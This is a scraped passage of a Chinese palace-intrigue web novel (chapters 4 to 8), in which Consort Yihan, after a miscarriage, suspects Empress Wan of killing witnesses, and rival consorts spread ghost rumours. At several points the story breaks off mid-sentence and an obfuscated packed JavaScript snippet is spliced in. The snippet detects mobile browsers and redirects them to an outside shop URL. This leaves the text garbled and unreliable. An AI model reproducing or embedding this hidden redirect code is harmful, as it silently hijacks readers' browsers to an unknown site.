闻言,宜含脸色煞白如纸,她喃喃自语:“畏罪自杀……这未免也太巧了。那些宫人刚牵扯出杨彩兰,她就自尽了,还留了认罪书。这分明是有人在背后指使,一定是有人在背后指使!” 言毕,宜含心中的疑云愈发浓重,她强压住胸口的悸动,目光直视周颐:“姑姑,是皇后!一定是皇后对不对?杨彩兰曾经是皇后的人,否则又怎会如此巧合?那些宫人刚暴毙,杨彩兰就自尽了,分明是在灭口!若非是皇后,谁又有这样通天的本事?” 周颐闻言,脸色煞白,她赶紧跪下,声音颤抖:“娘娘,奴婢求您了!这话可不能乱说啊!” 话音刚落,她环顾了殿内的宫人,忙让她们退下,这才开口劝:“我的娘娘,纵使杨彩兰曾侍奉过皇后,可那又如何?宫中人来人往,谁又没几分旧交?奴婢是怕您步了肃妃的后尘,那位娘娘当年小产后同样攀扯皇后。结果……结果呢,最后落得个疯疯癫癫的下场,至今都还在景阳宫里关着呢。娘娘您还年轻,皇子日后总还会有的,何苦为这事搭上自己?” 沉香也跪在一旁,她小心翼翼看了周颐一眼,已然察觉了这件事只能到此打住,于是跟着附和道:“娘娘,周姑姑说的没错,那些宫人的供词虽指杨彩兰,可杨彩兰已经死了,万岁爷那边也已经认下了这番结论。若您还想再深挖下去,只会引火烧身呐……” 宜含的泪水终于忍不住滑落,她扶起周颐,声音虽弱,却带着一丝倔强:“本宫知道你们是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抬眸看了头顶的绣帐一眼,而后侧过身去,发现周颐和沉香她们都守在床前。 “娘娘醒了。” 第一个发现宜含醒来的是玉墨。 此话一出,众人顿时来了精神,纷纷围了上来。 确保自家主子无碍后,她们很快就四散而开,有去打水的,有去端药的,也有去准备饭食的。 周颐双眼噙泪,她为宜含掖了掖被子,“娘娘,您可算是醒了,您把奴婢们都吓坏了。” 宜含的眼珠滴溜溜转动,缓缓望向周颐,她有气无力地问了一句:“什么时辰了?” “已经戌时了。” 周颐应了一声,而后又继续道:“方才万岁爷来瞧过娘娘,只是娘娘那会儿还睡着。” 宜含强撑起精神,问:“万岁爷来过?他可说了什么?” 周颐见宜含这般模样,心知她还未从白日的情绪中缓过神来,赶紧按住她的肩膀,轻声道:“娘娘,您先别急……” “万岁爷来的时候,林太医刚为您施完针,他在床前陪了您许久,又下旨厚赏了您的家人,还说明日再来看您。” “赏赐?” 宜含自嘲地笑了,那笑声如秋叶落地,轻飘飘的,还带着无尽的苦涩。 这究竟是赏赐还是补偿?补偿她刚没了孩子!补偿她再也不能生育! 周颐以为宜含是在问姬阆具体的封赏,于是解释道:“万岁爷封了老大人为锦衣卫千户,又给娘娘的几位兄长赐下了官职,很是荣宠。” 显然,这是姬阆的怜悯!而她甄宜含要的从来都不是什么怜悯,是真相,仅仅只是真相而已…… 5. 第 5 章 大安五年,冬雪初降,皇宫的琉璃瓦上铺满了薄薄一层霜雪,似一层洁白的纱幔,笼罩着这座华丽的牢笼。 东京汴梁一片银装素裹,当其他娘娘三五成群在聚景园赏雪时,万皇后依然缩在坤宁宫内,她历来是最厌恶这个时节的。 坤宁宫内有地暖,炭火烧的很旺,整个宫殿如暖春,可万皇后的双手仍然红肿发痒。 分明还不到三十岁,可她的一双手却布满了老茧,此刻因为冻疮发作看起来是那么可怖。 汪嬷嬷冒雪回了坤宁宫,进门前,她还特意抖了抖身上的雪。 万皇后坐在火炉前,隔着铁丝网,双手伸向那跳跃的火苗,仿佛要从中汲取一丝温暖。 可那红肿的冻疮,如同旧日的伤疤般刺眼。 听到外边的动静,她抬头望了一眼,然后将目光再次转移到跳动的火苗上,传出一道声音:“都办妥了?” 闻言,汪嬷嬷屏退了左右,这才回话道:“回娘娘的话,都已经办妥了,奴婢让人厚赏了彩兰的家人。” 万皇后没有说话,只是持起火钳,拨弄着炉中的炭火。 又过了片刻,汪嬷嬷上前几步,她福了一礼,而后压低了声音:“娘娘,永和宫那位似乎和万岁爷闹了一场。” “噢?” 万皇后停下手中的动作,抬眸瞥了汪嬷嬷一眼,开口道:“她怎么闹了?” 汪嬷嬷四下张望了一番后,方才小声开口:“月前,万岁爷驾临永和宫,只是不知是何缘故,甄氏不依不饶,非要问死在东厂里那几个奴婢的案子,还说杨彩兰自尽是有人在灭口,事有蹊跷。” “万岁爷劝了她几句,她非旦没见好就收,反而还哭闹不止,言辞上似有犯上之举。万岁爷当时就动了怒,好像还掌掴了甄氏。” 万皇后闻言,仅仅触动了一下,脸上就再次恢复到方才的古井无波。 “是吗?” 她站起身,目光随之来到汪嬷嬷身上,吐出一口浊气,“她……没有再牵扯旁人?” 汪嬷嬷闻言,心头微微一紧,她低下头,声音更低了些:“回娘娘的话,甄氏只是提了杨彩兰和那些宫人的事,并未牵扯旁人。” 话音刚落,汪嬷嬷又继续道:“据御前的人说,那日万岁爷出永和宫的时候,脸色黑的跟什么似的。” 万皇后闻言,她缓步走回火炉前坐下,双手交叠在膝上。 “本宫还以为她有几分胆子,会直接攀扯到坤宁宫来。看来,甄氏倒也不蠢,知道分寸。只是也没聪明到哪里去……” 感受到双手处传来的温暖,万皇后神色一缓,凤眸微眯。 “甄氏已经触怒万岁爷,又坏了身子,已经不成气候了。” 汪嬷嬷附和了一声。 万皇后却没有心思理会这些俗事,她掩面打了一个哈欠,“本宫有些乏了,你看着些时辰,万岁爷今儿要来坤宁宫用晚饭。” “暧。” 汪嬷嬷应了声,然后上前扶起万皇后。 就在万皇后起身要进入内室时,汪嬷嬷突然开口了:“还有一事要请娘娘拿个主意……” 万皇后转过身,有些不明所以。 只见汪嬷嬷低着头,沉着声道:“昨儿晚上的时候,六尚局的郑尚食踩滑了脚,跌进金明池里淹死了。” 须臾,空旷的殿宇才传出一声若有若无的叹息,“看在她勤恳的份上,给她立个冢,厚葬了罢……” “遵旨。” 汪嬷嬷低头福了一礼,她起身时,瞥了眼万皇后的双手,那红肿的冻疮显得格外刺眼。 见此,她心底不由暗叹一声。娘娘这些年,又何尝不是在火中煎熬。 可她不敢多言,悄然退下后,脚步声逐渐融入雪夜的寂静。 坤宁宫内,炭火继续燃烧,发出一阵噼啪声。 与此同时,永和宫内,宜含靠在床头,手中捧着一卷书册,却一个字也看不进去。 月前的那场对峙,如一根刺狠狠扎在她心上。 姬阆的那一巴掌,打碎了她最后的幻想。脸颊的红痕明明早已褪去,可仿佛依然隐隐生疼。 她日夜难安,身子越发虚弱了。 林太医的药吃了不少,可腹中的痛楚时隐时现。 “娘娘。” 周颐端着燕窝粥,看着身量单薄的宜含,她眼睛有些发酸,轻声劝:“您多少用些吧。您这些日子不思饮食,身子怎么受得住?” “万岁爷虽动了怒,可他心底还是有您的。奴婢打听过,他这些天在乾清宫议事,福建倭寇的事闹得凶,只怕是没空来后宫。” 宜含勉强笑了笑,接过碗,却只抿了几口。她望着窗外纷飞的雪花,心绪如这漫天雪花般纷乱。 “姑姑,万岁爷不来也好。万岁爷说我疯了,让我在永和宫禁足思过,你说……我是不是真的疯了?” 宜含的声音越来越低,带着一丝自嘲和绝望。 她将手中的碗递回给周颐,视线仍旧停留在窗外那漫天飞舞的雪花上,仿佛它们能带走她心中的寒意。 周颐接过碗,叹了口气,轻声劝道:“娘娘,您又是何苦呢?万岁爷那日不过是气头上罢了。他是九五之尊,哪能容得下旁人质疑?您身子不好,又刚失了孩子,心绪不宁也是情理之中。奴婢瞧着,万岁爷这些日子虽没来,但也没去旁人的宫里。他还是惦记着您的。” 闻言,宜含唇角微微颤动,她转过头,目光落在周颐那张布满关切的脸上。 宫中这几年,她最信任的便是这位姑姑,从进宫那日起,周颐就如母亲般照料她。 可如今,连周颐的话都让她觉得空洞无力。 “惦记?” 宜含苦笑一声,“姑姑,你不必安慰我了。我出身寒微,蒙万岁爷抬举,才封了贵妃。可这贵妃又算什么?不过是水中月,镜中花……” 听了这话,周颐却是面色一变,她一脸紧张地看着宜含。 自家娘娘这是丧失了斗志啊,这可不是什么好兆头。 她赶紧上前一步,握住了宜含那双冰凉的手,感受到手中寒冷,她鼻子一酸:“娘娘,您可别这么说啊!您如今是贵妃,一人之下而已。但凡男人,总有气头上的时候,更何况是万岁爷了。等这阵子的事儿一了,他早晚会想起您的好。奴婢求您了,千万别再钻牛角尖,伤了身子可怎么是好?” 宜含闻言,眼中闪过一丝茫然。 她望着周颐那张布满皱纹的脸庞,忆起进宫之初的种种。 初见姬阆时,他那么温文尔雅,对她也是百般温柔。可如今,一切都变了。自己的孩子没了,真相也不明不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“娘娘!” 周颐有些担心地看着宜含。 “姑姑,你说的对,我不该作践自个儿身子。亲者痛,仇者快。就算是为了报仇,我也要好好养好身子,以待来日!” 宜含的话音落地,顿时陷入一片死一般的寂静。 周颐望着自家娘娘那双原本清澈的眼睛,如今却燃烧着仇恨的火焰,心底不由一寒。 她在宫中多年,见过太多妃嫔因一念之差而万劫不复。 可宜含不同,她从浣纱女一步步爬到贵妃之位,纵使是姬阆宠幸使然,但她本就带着一股不服输的韧劲。 如今,这仇恨一旦点燃,只怕会烧得更旺。 “娘娘,您……您这是……” 周颐声音颤抖着,握住宜含的手更紧了些,“宫里耳目众多,您如今何苦去想这些?万岁爷的心思,或许,他日会还您一个公道也未可知。” 宜含闻言,唇角勾起一丝冷笑。 那笑意如寒冬般刺骨,让周颐不由后退半步。 “公道?” 宜含抬眸看着周颐,声音古井无波:“姑姑,你我都清楚,宫里的公道,从来不是求来的,而是争来的!万岁爷要护着她,不愿深查,我自然会如他所愿,从此在人前做个乖顺的贵妃。但这仇,我不会忘记的……” 闻言,周颐脸色煞白。 她知道宜含口中的“她”,正是万皇后。 宜含抬头,望着坤宁宫的方向,她要慢慢来,像织网般,一丝一缕地将真相挖出,然后将坤宁宫的那位彻底拉下马。 6. 第 6 章 月明星稀,空气中四处飘散着霜气,这些气团和雾气相融,云屯雾集,经久不散。 很快,只听见传出一阵酸痛的“咯吱”声,一个梳着双螺髻,身着青色小袄的年轻女子推门而出。 似乎是没有想到外边会这样冷,她微微打了一个寒颤。而后搓着双手,抱怨了一句:“见鬼,这日子是一天比一天要冷了。” 她的抱怨很快戛然而止,然后从从茶水间取出木炭和一个红泥小炉。 不一会儿,一簇簇火苗在红泥小炉中燃烧起来。 她伸手向火苗缓缓靠拢,感受到手中传来的温暖,舒服地眯上了双眼。 就在此时,突然传来一道尖利刺耳的声音:“李玉娘,水都烧好了?皇后娘娘起身后若是没有热茶喝,仔细你的皮!” 闻言,李玉娘暗地里翻了一个白眼,然后起身立即露出一张笑脸来,“孙姑姑,我刚把炉子发好,您就来了。我这就跟着去烧水,保证娘娘起身前就有热茶喝。” 孙姑姑一脸横肉,只见她伸手拍了拍身上的雪,冷哼了一声,用她弯酸的声音继续挖苦道:“姑娘!今年宫外冻死了多少人!如今还有你一口热饭吃,一身袄子过冬,你就惜福吧!” 听了这话,李玉娘暗暗撇了撇嘴,她们活的都是万岁爷的人,什么时候指着她一个老姑姑过日子了。不知道的,还以为她们的衣食供应都是她孙姑姑的赏赐一样。 当面,这番真心话李玉娘自是不敢说出来的。她面上一笑,轻车熟路地将昨儿在静园中收集的梅上雪装入水壶中。 万皇后喜欢梅花冷冽的香气,因此烹茶的水,必然是取自寒梅上的雪。 李玉娘估摸着时辰,许是到了万皇后该起身的时候,她自茶膳间取出今年的贡茶。是福建进贡的武夷岩茶,这是万皇后最钟爱的一种。 “动作麻利些!” 孙姑姑在一旁不断催促道,她仔细扫过李玉娘的每一个动作,时不时还要盯着其他几个宫女手中的活计。 闻言,李玉娘心头一紧。她低头应是,加快了手中的动作。 随着水壶中的雪水渐渐融化,很快就沸腾起来。 李玉娘小心地将热水注入茶壶,茶叶在热水中舒展开来,香气四溢。她端起茶盘,跟在孙姑姑身后,往坤宁宫正殿走去。 外头的霜气还未散,地上凝着一层薄冰,踩在青石板上,发出一道道细碎的声响。 似李玉娘这样的低阶宫女是没有资格直接进去伺候万皇后的,孙姑姑从她的手中接过托盘,如同一只骄傲的孔雀,缓缓走了进去。 李玉娘低头,待孙姑姑进去后,她才长舒一口气,回到茶膳间。 李玉娘回到茶膳间,推开门,一股混杂着茶香和炭火的暖意扑面而来。 她揉了揉冻得发僵的手指,暗自庆幸自己没被孙姑姑继续挑刺。这些年,坤宁宫的规矩越来越严,稍有不慎,就有可能丢了小命。 她坐到小凳上,望着炉子里的火苗出神。 她脑海中不由自主回忆着这些日子所听到传闻,先是甄贵妃落了胎,然后是金明池那几个洒扫的奴婢,以及御茶膳间的杨女官。直到前几日,就连尚膳局的郑尚食也不明不白地失足落水丢了性命。 旁的也就罢了,可郑尚食…… 要知道,尚食可是正五品女官! 宫女们私下都在议论,说郑尚食是因为知道的太多,这才被灭了口。 不过背后真正的原因,谁知道呢。宫中的秘密多如牛毛,她一个小小的宫女,管不着那么多。 “玉娘,你在想什么呢?怎么这么出神?” 就在此时,李玉娘背后突然跳出来一个年轻女子,她伸手悄悄拍了拍李玉娘的肩膀,唇角微微上扬。 李玉娘吓了一跳,回头一看,才发现是自己同屋的秋荷。 她顺了顺胸口,立即起身和秋荷打闹成一片,一边追,还一边嗔道:“你个促狭鬼!魂儿都要让你吓没了。” 秋荷咯咯笑着躲闪,两人你追我赶,在茶膳间狭小的空间里闹腾了好一会儿,才气喘吁吁地停下。 李玉娘扶着桌沿,脸上却带着难得的笑意。这些日子宫里气氛压抑,能有这么一刻放松,已是奢侈。 “哎哟,我的好姐姐,你可饶了我吧。” 秋荷揉着腰,脸上还挂着调皮的笑,打趣道:“我见你一个人发呆,只当是你得了万岁爷的宠幸,要当娘娘了。” 闻言,李玉娘气鼓鼓地嘟着小嘴,双手叉腰,摆出一幅要干仗的架势,“打不死的小蹄子,还敢胡说八道!看我不撕了你的嘴!” 李玉娘说着,就作势要去挠秋荷的痒,两人又是一阵嬉闹,笑声在茶膳间回荡,驱散了些许冬日的寒意。 秋荷边躲边求饶:“好姐姐……好了……好了,我错了!姐姐你生得这般标致,谁知道哪天万岁爷路过坤宁宫,一眼就看上你,妹妹岂不是也要跟着沾光?” 李玉娘闻言,脸颊微微一红,她生的好,旁日里自是免不了被相熟的宫女们打趣一番。 “呸!” 她停下动作,啐了一声:“万岁爷是天上的真龙,哪是我们这些丫头片子能肖想的……” 嘴上虽是这样说,可她正是少女怀春的年纪。更何况当今天子又生的好看,如何不让人心动。 秋荷咯咯一笑,她伸手揉了揉李玉娘的脸蛋,啧啧赞叹:“我们玉娘生的这般好看,颜色又俏。照我看,比好些娘娘还要胜上三分。没准儿啊,万岁爷哪天真就看上你了,要是再生个皇子,福气止不准还在后头哩。” 李玉娘闻言,脸颊顿时如熟透的苹果般红润,她赶紧推开秋荷的手,嗔了一声:“你这丫头,越说越没边了!宫里头的规矩你又不是不知道,私下议论万岁爷是要掉脑袋的。快闭上你的乌鸦嘴,帮我把这笋丝剁细些,要是孙姑姑挑出刺来,咱们俩都吃不了兜着走。” 秋荷吐了吐舌头,嘴上的调侃却没有停下,她熟练地拿起菜刀,边剁边低声笑:“哎呀,玉娘你害羞了?不过话说回来,宫里那些娘娘们,好些个都是从丫头一步步爬上来的?就说甄贵妃吧,不也只是浣纱女的出身?如今虽是失宠了,可到底是得过万岁爷宠信的。要是你得了机缘……” “嘘!” 李玉娘心头一紧,赶紧四下张望,确保茶膳间没旁人。 她压低声音:“甄贵妃的事,你少提罢!她前些日子落了胎,宫里连着死了那么多人……咱们这些小丫头,还是好好干活吧,保住这条小命才是正经事。” 秋荷点点头,知道是自己失言,于是赶紧找补回来,“你说的也是,宫里头的事儿,哪是我们这些人能琢磨的。还是想想午膳怎么备吧,万一娘娘不满意,孙姑姑那张脸可就更难看了。” 两人默契地转移话题,并肩忙碌起来,手上的刀切得笃笃作响。 茶膳间里,炭火噼啪作响,热气腾腾中夹杂着淡淡的冬笋鲜香。 外头的雪花还在飘,覆盖了宫道的青石板,隐约传来内侍们的梆子声。 禁廷另一侧的永和宫,此时却热闹非凡。 贞妃和贤妃一早就来了永和宫,身后跟着各自的宫女。 在让宫人们将补品送上后,贞妃和贤妃的脸上堆满了关切的笑意。 “妹妹身子可大安了?前些时日我和贤妃本打算来探望妹妹的。只不过林太医说妹妹身子弱,要精心养着。二来,万岁爷怜惜妹妹,下旨让我等不得轻易打扰。这才拖到了今日才来妹妹这儿,还请妹妹勿怪。” 贞妃率先开口,她年约二十五六,一袭浅紫宫装,妆容精致,声音柔柔弱弱的。 她是姬阆登基后最早入宫的妃子之一,本家姓柳,单名一个晴字。 “妹妹,贞妃姐姐说的不错。我们姐妹们这些日子心里头都记挂着你呢。听说你身子好些了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590342|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们这才敢过来叨扰一二。” 贤妃紧随其后,脸上带着惯有的温婉笑容,她比贞妃年轻几岁,约莫二十出头的样子。今日穿着一身湖蓝色的罗裙,上面还用银线修着芙蓉花,映着窗外雪光,惹眼极了。 贤妃入宫已经三年有余,虽然不似宜含那般得宠,却也稳稳坐住了后宫的第三把交椅,比贞妃还要得宠些。不知是不是都失去过孩子的原因,她与贞妃十分交好,两人时常结伴而行。 贤妃的声音如春风般轻柔,边说边让人将一个锦盒递给宜含,“这是前几年万岁爷赏的暖玉,冬日里贴身带着,能驱寒养气。妹妹你如今身子虚弱,就拿着玩吧。” 宜含勉强笑了笑,打开锦盒一看,只见里面卧着一块成色极好的玉璧,又非常巧思地将其雕琢成金鱼的图案,十分生动有趣。 宜含和贤妃并无交情,对方却舍得赠送如此厚礼,她自是不敢贸然收下。 于是,她再次合上锦盒,推辞道:“还请姐姐收回此物,此物既是万岁爷赐给姐姐的东西,妹妹岂可夺人所好。” 贤妃闻言,微微一怔,不知是不是察觉到自己的唐突,于是随即掩唇轻笑,那笑声如银铃般清脆。 她将锦盒递给身后的宫女,声音仍旧柔和:“妹妹客气了,既然妹妹不喜,那姐姐就不勉强了。倘若妹妹有需要,尽管开口就是,我们姐妹之间,何须如此见外?” 贤妃话音刚落,贞妃又接过话,在一旁打起圆场,她端起茶盏抿了一口,“贤妃妹妹也是一片好意,甄妹妹莫要多心。这些日子,宫里风声鹤唳,大家都提心吊胆的。我们姐妹来妹妹这儿,也是想宽宽妹妹的心。听说万岁爷近来忙于朝事,福建的倭寇又闹得凶,妹妹也别太挂心了,养好身子,才是正经的。” 宜含摸不到两人来次的路数,于是自怨自艾道:“两位姐姐挂念,妹妹感激不尽。只是妹妹终究无福,没能保住孩子……” 话音刚落,殿内空气微微一滞。 孩子是她们共同的伤心事,贞妃去年刚滑了胎。贤妃早些年倒是产下了一个公主,只是那孩子刚生下来就没气了,同样做不得数。 贞妃闻言,脸色微微一变。 她放下茶盏,眼中闪过一丝黯然,却很快掩饰过去。 贞妃的声音柔柔的,带着一丝叹息:“妹妹也不要太过伤心,我……也是命薄,去年同样没能留住那孩子。妹妹你还年轻,万岁爷对你的恩宠又不浅,总还会有孩子的。” 贤妃点头附和,她的目光落在宜含苍白的脸上,声音轻柔却带着一丝试探:“正是。我那年早产,九死一生才生下了敬懿公主,本以为是天大的喜事,谁知……” 说到此处,贤妃似是想起了伤心事,不由落了两滴泪,声音哽咽道:“谁知……公主刚落地就没了气。太医们忙活了半宿也没能救回来。那些日子,我险些就随公主去了。可日子总还得过不是?妹妹,你也莫要太执着于此事。” 贞妃在一旁轻叹一声,伸手握住贤妃的手,柔声道:“贤妃妹妹,莫再伤心了。那些事提起来总叫人肝肠寸断。妹妹你也是,孩子没了自是天大的不幸,可咱们姐妹也总得往前看。我记得皇后娘娘那时还亲自来安慰妹妹了一番,咱们也该学学皇后娘娘放宽心才是。” 说到皇后的时候,贞妃特意咬重了这两个字。 贤妃抹去泪痕,勉强笑了笑,声音仍带着一丝哽咽:“姐姐说的对。皇后娘娘恩德深重,那时她赐下许多补药。虽说孩子没了,可我这条命,总算是捡回来了。只是……每次想起公主,我就夜不能寐。” 看着两人一唱一和,宜含一时有些拿不住贤妃两人是真的伤心,还是在借机拉近她们的距离? 她有些出神,思绪逐渐飘远了。 见此,贞妃和贤妃快速交换了一个意味深长的眼神。 只是一眨眼,两人再次恢复如初,谁也没有注意到两人的小动作。 7. 第 7 章 见宜含总是病恹恹的样子,贞妃心念一动,开口道:“说起来,前儿个我和禧嫔她们在静园游园的时候,倒发现了一桩趣事。” “噢?” 贤妃很自然地接过话,“能让姐姐都觉的有意思,也不知是什么事?” 宜含并未加入其中,只是默不作声看着两人。 见宜含的目光望了过来,贞妃这才不紧不慢道:“那日我和禧嫔赏梅有些晚了,眼瞅着就要宵禁了,只是我二人不慎湿了鞋袜,打发了宫人回去取后。我和禧嫔在园中闲逛,谁知没一会儿竟然听到园里有人在哭,把我和禧嫔的魂儿都要吓没了。” “后来呢?” 贤妃眼中闪过一丝好奇,她轻抚着手中的茶盏,声音柔柔道:“姐姐莫要吊人胃口,到底是什么人在哭?静园那地方的梅花虽然开得好,不过却清冷得很,平日鲜有人去那地儿,又怎的会有哭声呢?” 贞妃倏地笑了笑,目光扫过宜含苍白的脸庞,似乎有意无意地停留了片刻,方才继续道:“我和禧嫔壮着胆子循声过去,竟然是一个宫女躲在梅树后烧纸,一边哭还一边念叨着冤枉啊之类的词儿,渗的慌……” “烧纸!” 宜含和贤妃吓了一跳,近乎同时开口。 贤妃立即变了脸色,声音也不由拔高几分:“在宫里烧纸可是犯了大忌讳,弄不好就会被视作为诅咒。姐姐可曾禀告给了宫正司?” 话音刚落,贤妃就立即反应过来。 似烧纸这样的大事,若是禀告给了宫正司,岂不是也跟着牵扯进这桩案子里去了。她当机立断,于是岔开话题:“不知此人是谁?竟敢如此大胆!” 贞妃环顾左右后,确定在场的都是心腹,这才将声音压的极低:“我一时没认出来,反倒是禧嫔道出了那人的身份。说出来两位妹妹可能不信,那人竟然是万岁爷身边的素月,和死了的杨彩兰还是旧相识!” 素月! 宜含心头如遭重锤,她立即在脑海中搜索关于的素月的消息。 很快,宜含就想起了素月是谁。 贞妃说的不错,素月的确是姬阆身边的宫女,至于是不是杨彩兰的旧相识就很难说了。 “素月?” 宜含强压住内心的惊涛骇浪,面上却只露出一丝惊讶,声音微微颤抖:“她虽然是万岁爷身边的人,可她和杨彩兰……怎会是旧相识?姐姐,你可看清了?不会有假罢?” 贞妃眼中快速闪过一丝诡异的笑意,她端起茶盏浅抿一口,似乎在斟酌措辞,“千真万确。禧嫔认得她……” 为免两人不信,贞妃继续补充道:“两位妹妹进宫的晚,想来是不清楚这里面的关系。禧嫔妹妹原就是御前的人,若说连她都不清楚,那我必然是不信的。” “两位妹妹,你们说这事蹊跷不?杨彩兰本是畏罪自尽,可素月哭得那般伤心,还在静园烧纸哭诉冤枉!这里面,是不是另有什么隐情?” 贤妃的脸色已然煞白,她握着茶盏的手微微发颤,声音压得极低:“姐姐,这话可不能乱说,杨彩兰的事已经结了案。素月若真的是在烧纸,只怕也是鬼迷心窍。今儿咱们姐妹只当听了个乐子,什么都不知道。” 到了这儿,宜含也明白了两人过来的用意。 贞妃哪里是说什么乐子,这分明是试探她对杨彩兰案子的态度。 素月是姬阆身边的人,若真与杨彩兰有旧,烧纸哭冤,显然是知道什么内幕。 她低头掩饰眼中的异样,声音轻柔道:“两位姐姐说的极是,我如今只也想安分守己,不愿多生是非。静园的事,既然是奴婢间的勾当,贞妃姐姐遇上了,私下里敲打素月一二也就是了。宫里的规矩大,这事要是传出去,不知又要牵连多少人。” 贞妃和贤妃交换了一个眼神后,贞妃笑了笑:“这是自然,若是事情闹大了,遭殃的总归还是底下的人。这些日子,宫里前前后后死了那么多人,虽然是罪有应得,到底还是有伤天和!” “姐姐说的极是,那些奴婢罪有应得不提也罢,可郑尚食连带着两个女史稀里糊涂地落进金明池里淹死了,当真是让人心惊。” 话音刚落,贤妃的脸上露出一抹怜悯,“阿弥陀佛,真是罪过,罪过……” 宜含默不作声,有些神游天外。 见此,贞妃心下一横,决定再添一把火,“话说回来,郑尚食也是宫里的老人了,怎么会连路都分不清了,倒像是和谁结了仇!” 贤妃的脸色更白了,她的面上露出几分害怕,连连摆手,“贞姐姐!万岁爷已经命人查过了,郑尚食就是失足落水的。皇后娘娘也亲自下旨厚葬了她,允她以恭人的身份入殓。若是牵扯出这些莫须有的事,只怕又要徒生事端了。咱们姐妹在这儿说些闲话也就罢了,您可千万不要胡乱揣测!” 贞妃笑了笑,眼中闪过一丝狡黠,她放下茶盏,柔声道:“贤妃妹妹多心了。我们姐妹间闲聊罢了,谁会外传?只是可怜郑尚食,平日里最是忠心稳妥的那么一个人,到头来却落得这般下场。甄妹妹,你说,是不是宫里有些人,心太狠了些?” 见两人说的绘声绘色,宜含心里跟明镜似的。 贞妃这是在明里暗里点万皇后呢。郑尚食落水的事,只怕是万皇后为了掩盖之前的腌臜事,才灭了口。 宜含低头,小心掩饰住眼中的恨意,柔声道:“姐姐们莫要再说这些了。郑尚食的事,妹妹并不知情,也不想知道。皇后娘娘恩德深重,妹妹如今只盼着身子好些。至于旁的事,妹妹怕是有心无力。” 贞妃掩面一笑,知道这是在下逐客令了,起身福了一礼,“还是妹妹识大体,今儿我们姐妹来永和宫,也是怕妹妹闷坏了。这些闲话,妹妹也只当是听个笑话罢。雪大了,我们就不扰妹妹歇息了,改日再来妹妹这里吃茶。” 贤妃跟着起身请辞,很快,两就人带着各自的宫女相携而去。 宜含目送她们出门,待殿门再次合上,她的脸瞬间沉了下来。 周颐从侧殿进来,低声道:“娘娘,她们走了。” 宜含将目光放到一旁的周颐身上,有些迟疑不定,“姑姑,你说贞妃她们,是不是知道些什么?” 周颐默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贞妃的眸中闪过一丝寒光,她拉着贤妃继续往前走,“贤妹妹,你我进宫这些年,受了多少委屈、吃了多少苦?甄氏若肯和跟咱们一同联手,或许还能扳倒皇后那棵大树。” 贤妃点点头,却又有些犹豫,“可皇后到底跟万岁爷是患难夫妻,咱们就算一起使劲儿,也未必能扳倒皇后啊!若真如此,咱们岂不是引火烧身!” 贞妃默了默,好半晌才幽幽道了一句:“引火烧身也比坐以待毙强!妹妹,你不要忘了,我们和皇后还隔着杀子之仇!万岁爷一昧地偏袒皇后,不论我们联手与否,和皇后已经是生死大敌了……” 听着自家主子说着如此大逆不道的话,侍奉贞妃和贤妃的宫人死死将头埋下,仿佛一切都不曾听见一般。因为他们清楚的知道,自己的荣辱,早已和她们深深绑定到了一起。 两人说着,已走到了岔路口。 贤妃向贞妃福了一礼,“姐姐小心些,妹妹就先行回宫了,咱们改日再议。” 目送贤妃离去,待她的身影消失在雪幕中,贞妃才冷冷一笑,自语道:“甄贵妃,你想独善其身,只怕皇后不会让你如愿。咱们且走着瞧吧!” 8. 第 8 章 大雪连下了三日,整个世界都变的银装素裹。 宜含刚出了小月不久就感染风寒,眼瞅着要过年了,病却始终不见好转。 这些日子太医是日日请脉,开的方子一换再换,汤药的苦味几乎渗进了她的味蕾。 周颐守在榻前,眉心紧锁,低声道:“娘娘,今日的药又加了附子,再熬下去,奴婢怕您的身子……” 宜含抬手止住她,声音轻得像风吹过窗纸:“熬得住。姑姑,我若现在就倒了,才真真叫坤宁宫那位称心……” 贞妃和贤妃离开永和宫后第三日,宫中突然开始有风声传出——有人在夜里听见静园有女子在哭,声音凄厉悲惨,像是受了什么天大的冤屈。 紧接着,又有小宫女在井边看见白影,吓得当场晕厥。 最后是德嫔和林美人,她们自金明池路过时,更是被凭空出来鬼影吓的花容失色,径直晕了过去,回去后就大病了一场。 宫里闹鬼的谣言如同雪崩一般,一发而不可收,一时人心惶惶。 宜含知道,这是贞妃她们出手了。 先放出郑尚食她们死的冤枉,再推波助澜让“鬼魂”现身,逼得万皇后不得不有所动作。 只要皇后一出手,总能抓住她的错处。 果不其然,到了第七日,万皇后下旨让冯宫正严查造谣生事者。 冯宫正是先帝朝的老人,一向以铁面无私著称。 这些日子她领着宫正司的人马在静园、金明池等地搜查,不仅掘地三尺,还查抄了附近的几处偏殿。 结果自然是什么也没找到,没有哭声的源头,更没有所谓的鬼影。 但这并不意味着风波就此平息。 相反,万皇后此举像是火上浇油。 宫人们私下议论纷纷:皇后为何如此大动干戈?莫非静园真有冤魂?是皇后心虚了? 宜含躺在永和宫的暖榻上,听周颐禀报这些传闻,嘴角不由漾起一抹笑。 她咳嗽了几声,声音沙哑道:“皇后这是自乱阵脚,让人搜园子却一无所获,只会让谣言传得更凶。至于德嫔和林美人,她们是万岁爷的嫔妃,又一口咬死亲眼看到了不干净的东西,没有两位至尊的示意,宫正司岂敢堵了她们的嘴。” 